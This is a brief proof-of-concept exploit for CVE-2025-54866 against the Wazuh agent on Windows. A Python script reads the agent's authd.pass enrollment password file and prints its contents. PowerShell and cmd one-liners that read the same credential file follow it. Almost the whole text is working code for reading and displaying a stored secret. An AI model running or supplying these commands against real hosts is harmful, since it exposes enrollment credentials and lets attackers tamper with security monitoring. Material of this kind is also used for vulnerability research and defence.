CVE-2025-54866

# CVE-2025-54866 PoC - Read Wazuh authd.pass file # Requires: Local authenticated user access on Windows import os authd_pass_path = r"C:\Program Files (x86)\ossec-agent\authd.pass" # Method 1: Direct file read try: with open(authd_pass_path, 'r') as f: password = f.read().strip() print(f"[+] Successfully read authd.pass") print(f"[+] Password content: {password}") except PermissionError: print("[-] Permission denied - file not accessible") except FileNotFoundError: print("[-] File not found - Wazuh may not be installed") # Method 2: Using PowerShell # powershell -Command "Get-Content 'C:\Program Files (x86)\ossec-agent\authd.pass'" # Method 3: Using cmd # cmd /c "type \"C:\Program Files (x86)\ossec-agent\authd.pass\""

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